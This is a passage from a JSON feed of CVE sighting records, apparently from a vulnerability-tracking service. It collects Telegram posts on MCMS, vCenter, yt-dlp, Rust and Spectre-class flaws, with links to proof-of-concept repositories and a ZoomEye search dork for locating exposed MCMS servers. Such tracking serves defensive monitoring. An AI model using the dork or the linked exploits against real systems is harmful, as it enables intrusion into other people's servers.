"9a60afcf-54e7-4ee8-b075-e20d0bc9a701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22567", "type": "seen", "source": "https://t.me/crackvaultde/1138", "content": "\ud83d\udce2 CVE-2024-22567 - MCMS 5.3.5 SQLi to RCE Vulnerability Analysis\n https://crack-vault.de/d/524", "creation_timestamp": "2026-07-20T21:00:06.253366Z"}, {"uuid": "bb67e9d0-1c0c-4453-8905-163e4c4e9f51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22567", "type": "seen", "source": "https://t.me/crackvaultde/1138", "content": "\ud83d\udce2 CVE-2024-22567 - MCMS 5.3.5 SQLi to RCE Vulnerability Analysis\n https://crack-vault.de/d/524", "creation_timestamp": "2026-07-21T00:00:18.074820Z"}, {"uuid": "98b527c9-3e6f-4579-8f98-ffadfe55e9cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22567", "type": "seen", "source": "https://t.me/crackvaultde/1137", "content": "\ud83d\udd34 Critical Vulnerability in MCMS 5.3.5 (CVE-2024-22567)  \n\n\ud83d\udccc Vulnerability:  \n\u2022 Type: SQL Injection \u2192 RCE Chain  \n\u2022 CVSS: 9.1 (Critical)  \n\u2022 Affected: MCMS \u2264 5.3.5  \n\n\ud83d\udea8 Immediate Actions:  \n1. Patch to MCMS 5.3.6+  \n2. Block /api/content/list endpoint  \n3. Audit admin logs for SQL errors  \n\nDownload Free Here: https://tools.crack-vault.de/download-cve-2024-22567-security-advisory-for-mcms-5-3-5\n\n\ud83d\udd0d Detection Dork:  \nzoomeye app:\"MCMS\"\n  \n\n#WebSecurity #ZeroDay #CMS", "creation_timestamp": "2026-07-21T00:00:18.052731Z"}, {"uuid": "8d52c056-ea8e-4348-8998-58818a24e2e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "Telegram/FMxKlI5Q8oe-wqfdJhLf519zmPU2wTxgtOLa-sFM77th6qo", "content": "", "creation_timestamp": "2026-08-28T00:00:52.222990Z"}, {"uuid": "64f43b29-af8f-4576-9bdf-2808185e970e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "seen", "source": "Telegram/2JgLAbMqM6fsfnUVedt_GGez95ruqiYt_7ssbkX2uKcldVA", "content": "", "creation_timestamp": "2026-08-28T00:00:48.844516Z"}, {"uuid": "11460354-1609-4f11-975f-c49645fce687", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22515", "type": "seen", "source": "Telegram/2JgLAbMqM6fsfnUVedt_GGez95ruqiYt_7ssbkX2uKcldVA", "content": "", "creation_timestamp": "2026-08-28T00:00:48.949705Z"}, {"uuid": "58cc7102-297f-435b-b053-c962d4869111", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22567", "type": "published-proof-of-concept", "source": "https://t.me/crackvaultde/1138", "content": "\ud83d\udce2 CVE-2024-22567 - MCMS 5.3.5 SQLi to RCE Vulnerability Analysis\n https://crack-vault.de/d/524", "creation_timestamp": "2026-07-22T00:00:34.232207Z"}, {"uuid": "754033b8-33d5-4e61-bcf6-3e66add47951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22567", "type": "published-proof-of-concept", "source": "https://t.me/crackvaultde/1137", "content": "\ud83d\udd34 Critical Vulnerability in MCMS 5.3.5 (CVE-2024-22567)  \n\n\ud83d\udccc Vulnerability:  \n\u2022 Type: SQL Injection \u2192 RCE Chain  \n\u2022 CVSS: 9.1 (Critical)  \n\u2022 Affected: MCMS \u2264 5.3.5  \n\n\ud83d\udea8 Immediate Actions:  \n1. Patch to MCMS 5.3.6+  \n2. Block /api/content/list endpoint  \n3. Audit admin logs for SQL errors  \n\nDownload Free Here: https://tools.crack-vault.de/download-cve-2024-22567-security-advisory-for-mcms-5-3-5\n\n\ud83d\udd0d Detection Dork:  \nzoomeye app:\"MCMS\"\n  \n\n#WebSecurity #ZeroDay #CMS", "creation_timestamp": "2026-07-22T00:00:34.253183Z"}, {"uuid": "356fdb6b-8fa7-4f01-bb4b-b756f1516a5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "MISP/b832113b-e603-406a-ba62-aae9ba13b1b4", "content": "", "creation_timestamp": "2026-07-23T18:15:03.409193Z"}, {"uuid": "fcdee684-18ab-417b-bcd6-ac8b636cae44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "MISP/b832113b-e603-406a-ba62-aae9ba13b1b4", "content": "", "creation_timestamp": "2026-07-24T00:15:04.135576Z"}, {"uuid": "63ba9ee0-f356-4022-9c43-8f519a41fe8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "seen", "source": "Telegram/g675v-UH8DF27WnjgWKKSkETruqTm270nowLOMEt8RLgjhY", "content": "", "creation_timestamp": "2026-07-25T00:00:09.210625Z"}, {"uuid": "187131ac-2342-42c4-882e-fb7b7dc1e65a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "published-proof-of-concept", "source": "Telegram/g675v-UH8DF27WnjgWKKSkETruqTm270nowLOMEt8RLgjhY", "content": "", "creation_timestamp": "2026-07-26T00:00:47.460589Z"}, {"uuid": "762abd7b-18f6-419e-bd4c-7612c82f973f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22275", "type": "seen", "source": "https://t.me/cyberwarehouse/466", "content": "\ud83d\udcbb  VMware vCenter Server \u2014 Remote Code Execution (CVE-2024-22274)\n\nThe vCenter Server contains an authenticated remote code execution vulnerability. A malicious actor with administrative privileges on the vCenter appliance shell may exploit this issue to run arbitrary commands on the underlying operating system as the \"root\" user.\n\n\ud83d\udd17 Source: \nhttps://github.com/mbadanoiu/CVE-2024-22275\n\n#vmware #vcenter #rce #cve", "creation_timestamp": "2026-07-26T02:00:20.226729Z"}, {"uuid": "79bb4cce-581b-4f99-925e-ce592d814b5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "seen", "source": "https://t.me/cyberwarehouse/466", "content": "\ud83d\udcbb  VMware vCenter Server \u2014 Remote Code Execution (CVE-2024-22274)\n\nThe vCenter Server contains an authenticated remote code execution vulnerability. A malicious actor with administrative privileges on the vCenter appliance shell may exploit this issue to run arbitrary commands on the underlying operating system as the \"root\" user.\n\n\ud83d\udd17 Source: \nhttps://github.com/mbadanoiu/CVE-2024-22275\n\n#vmware #vcenter #rce #cve", "creation_timestamp": "2026-07-26T02:00:20.271452Z"}, {"uuid": "7bc24398-8691-4f5f-a650-2518cf28f722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22403", "type": "seen", "source": "https://t.me/cyberwarehouse/476", "content": "\u0418\u044e\u043b\u044c\u0441\u043a\u0438\u0439 Linux Patch Wednesday. \u0412\u0441\u0435\u0433\u043e 705 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0438\u0437 \u043d\u0438\u0445 498 \u0432 Linux Kernel. \u0421 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432\u0436\u0438\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442, \u0443 11 \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430:\n\n\ud83d\udd3b \u0412 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e\u043c \u0442\u043e\u043f\u0435 RCE\u00a0- OpenSSH \"regreSSHion\" (CVE-2024-6387) \u0441\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u043d\u0430 GitHub. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438 \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u044b\u0435 \u0444\u0435\u0439\u043a\u0438 (\u2757\ufe0f). \u0417\u0434\u0435\u0441\u044c \u0436\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443 \u043f\u043e\u0445\u043e\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c RCE - OpenSSH (CVE-2024-6409), \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\ud83d\udd3b \u0412 \u043f\u0430\u0431\u043b\u0438\u043a\u0435 \u0435\u0441\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 PoC-\u0438 \u0434\u043b\u044f DoS \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Suricata (CVE-2024-38536) \u0438 QEMU (CVE-2024-3567).\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0411\u0414\u0423, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u0434\u043b\u044f:\n\n\ud83d\udd38 AuthBypass - RADIUS Protocol (CVE-2024-3596), \u0435\u0451 \u0444\u0438\u043a\u0441\u0438\u043b\u0438 \u0438 \u0432 \u0438\u044e\u043b\u044c\u0441\u043a\u043e\u043c MSPT\n\ud83d\udd38 Security Feature Bypass - Exim (CVE-2024-39929) - \u043e\u0431\u0445\u043e\u0434 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043e\u043a \u043f\u043e mime_filename, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 Nextcloud (CVE-2024-22403) - \u0432\u0435\u0447\u043d\u044b\u0435 OAuth \u043a\u043e\u0434\u044b\n\ud83d\udd38 DoS - OpenTelemetry (CVE-2023-45142)\n\ud83d\udd38 Memory Corruption - 7-Zip (CVE-2023-52168)\n\n\ud83d\uddd2 \u041e\u0442\u0447\u0451\u0442 Vulristics \u043f\u043e \u0438\u044e\u043b\u044c\u0441\u043a\u043e\u043c\u0443 Linux Patch Wednesday\n\n@avleonovrus #LinuxPatchWednesday #Vulristics #Linux #regreSSHion", "creation_timestamp": "2026-07-26T02:00:20.050043Z"}, {"uuid": "31c220ee-d8c7-4892-9316-d323dc772463", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "seen", "source": "https://t.me/cyberwarehouse/423", "content": "https://github.com/W01fh4cker/CVE-2024-22120-RCE", "creation_timestamp": "2026-07-26T02:00:22.991227Z"}, {"uuid": "08740982-a955-44bc-ae4c-81eb471dd15b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2201", "type": "seen", "source": "https://t.me/EchelonEyes/2644", "content": "\u041f\u0435\u0440\u0432\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 Native Spectre v2 \u043f\u0440\u043e\u0442\u0438\u0432 \u044f\u0434\u0440\u0430 Linux\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 \u0410\u043c\u0441\u0442\u0435\u0440\u0434\u0430\u043c\u0441\u043a\u043e\u0433\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0442\u0438\u043f \u0430\u0442\u0430\u043a\u0438 \u2013 Native Branch History Injection (BHI) \u043f\u0440\u043e\u0442\u0438\u0432 \u044f\u0434\u0440\u0430 Linux \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Intel. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430 \u0441\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e 3,5 \u041a\u0411/\u0441 \u0432 \u043e\u0431\u0445\u043e\u0434 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b Spectre v2/BHI. \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-2201.\n\nBHI \u0431\u044b\u043b \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442 VUSec \u0432 \u043c\u0430\u0440\u0442\u0435 2022 \u0433\u043e\u0434\u0430, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044f \u0435\u0433\u043e \u043a\u0430\u043a \u043c\u0435\u0442\u043e\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 Spectre v2 \u0432 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430\u0445 Intel, AMD \u0438 Arm.\n\n\u0425\u043e\u0442\u044f \u0432 \u0430\u0442\u0430\u043a\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u044b \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0411\u0435\u0440\u043a\u043b\u0438 (eBPF), \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 Intel \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b, \u0441\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0447\u0435\u0433\u043e, \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0438\u0441\u044c \u0432 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 eBPF Linux. \n\nNative BHI \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u044d\u0442\u0443 \u043a\u043e\u043d\u0442\u0440\u043c\u0435\u0440\u0443, \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044f, \u0447\u0442\u043e BHI \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0431\u0435\u0437 eBPF. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Intel, \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a BHI.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0426\u041f, \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435, \u0441 \u0446\u0435\u043b\u044c\u044e \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c.\n\n\u042d\u0442\u043e \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c InSpectre Gadget, \u0443\u043c\u0435\u044e\u0449\u0435\u0439 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0432 \u044f\u0434\u0440\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0442\u0435\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0432 \u043c\u0438\u043a\u0440\u043e\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u044b Intel \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, FineIBT) \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0413\u0430\u0434\u0436\u0435\u0442\u044b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u0434\u0430, \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0435\u0440\u0435\u0434\u0430\u0441\u0442 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0436\u0435\u0440\u0442\u0432\u044b \u0432 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u0430\u043d\u0430\u043b.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0434\u043b\u044f \u0443\u0442\u0435\u0447\u043a\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430, \u0441\u043f\u0435\u043a\u0443\u043b\u044f\u0442\u0438\u0432\u043d\u043e \u043f\u0435\u0440\u0435\u0439\u0434\u044f \u043a \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u043c\u0443 \u0433\u0430\u0434\u0436\u0435\u0442\u0443\u00bb.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Illumos, Intel, Red Hat, SUSE Linux, Triton Data Center \u0438 Xen. AMD \u0432 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u00ab\u043d\u0435 \u0437\u043d\u0430\u0435\u0442 \u043e \u043a\u0430\u043a\u043e\u043c-\u043b\u0438\u0431\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u0438\u00bb \u043d\u0430 \u0441\u0432\u043e\u044e \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vusec.net/projects/native-bhi/ \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-26T02:02:11.417398Z"}, {"uuid": "9dcbb1fe-8c56-427d-a422-ab8bdcee4b46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22423", "type": "seen", "source": "https://t.me/zhatez/1070", "content": "\ud83d\udd0d \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\ud83d\udc1bCVE-2024-22423, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0430\u044f \u0432 yt-dlp \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 2024.04.09, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a OS Command Injection. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u044b\u043b\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f shell_quote(), \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u043c\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.\n\n\ud83d\udc1bCVE-2024-24576, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 Rust \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 1.77.2, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a Remote Code Execution. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0432 \u041e\u0421 Window \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f API Command, \u043c\u0438\u043d\u0443\u044f \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441. \u0412 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 